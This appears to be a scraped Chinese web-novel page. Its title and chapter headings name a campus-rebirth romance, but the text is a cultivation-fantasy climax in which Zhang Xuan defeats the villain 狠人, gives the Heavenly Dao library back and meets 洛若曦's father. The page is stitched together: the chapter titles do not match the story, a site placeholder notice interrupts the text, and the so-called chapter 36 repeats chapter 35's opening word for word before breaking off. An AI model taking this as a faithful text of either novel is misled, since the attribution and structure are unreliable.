《都重生了谁还追她，高冷校花不香吗？》 第35章 友爱脑 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第36章 怎么不跟太阳肩并肩 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 